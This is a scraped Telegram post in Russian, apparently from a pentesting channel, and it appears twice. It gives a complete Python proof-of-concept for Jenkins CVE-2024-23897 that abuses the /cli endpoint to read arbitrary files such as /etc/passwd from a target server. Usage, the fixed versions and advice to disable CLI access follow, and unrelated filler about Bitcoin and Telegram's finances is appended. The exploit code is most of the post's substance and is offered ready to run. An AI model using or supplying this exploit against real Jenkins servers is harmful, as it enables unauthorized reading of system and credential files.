Telegram Group & Telegram Channel
Jenkins RCE Arbitrary File Read CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j. Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних версиях она не отключается.

PoC
import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


Обновление:
Обновление до Jenkins 2.442, LTS 2.426.3

Исправление:
Если вы не можете обновиться до последней версии, то отключите доступ к CLI, это должно полностью исключить возможность эксплуатации.

Купить книгу по пентесту для начинающих можно тут 📔

👉 Подписаться 👈

#Jenkins #cve #poc
Please open Telegram to view this post
VIEW IN TELEGRAM



tg-me.com/manual_pentesting/1272
Create:
Last Update:

Jenkins RCE Arbitrary File Read CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j. Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних версиях она не отключается.

PoC

import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


Обновление:
Обновление до Jenkins 2.442, LTS 2.426.3

Исправление:
Если вы не можете обновиться до последней версии, то отключите доступ к CLI, это должно полностью исключить возможность эксплуатации.

Купить книгу по пентесту для начинающих можно тут 📔

👉 Подписаться 👈

#Jenkins #cve #poc

BY Security




Share with your friend now:
tg-me.com/manual_pentesting/1272

View MORE
Open in Telegram


Security Telegram | DID YOU KNOW?

Date: |

How to Use Bitcoin?

n the U.S. people generally use Bitcoin as an alternative investment, helping diversify a portfolio apart from stocks and bonds. You can also use Bitcoin to make purchases, but the number of vendors that accept the cryptocurrency is still limited. Big companies that accept Bitcoin include Overstock, AT&T and Twitch. You may also find that some small local retailers or certain websites take Bitcoin, but you’ll have to do some digging. That said, PayPal has announced that it will enable cryptocurrency as a funding source for purchases this year, financing purchases by automatically converting crypto holdings to fiat currency for users. “They have 346 million users and they’re connected to 26 million merchants,” says Spencer Montgomery, founder of Uinta Crypto Consulting. “It’s huge.”

The messaging service and social-media platform owes creditors roughly $700 million by the end of April, according to people briefed on the company’s plans and loan documents viewed by The Wall Street Journal. At the same time, Telegram Group Inc. must cover rising equipment and bandwidth expenses because of its rapid growth, despite going years without attempting to generate revenue.

Security from ua


Telegram Security
FROM USA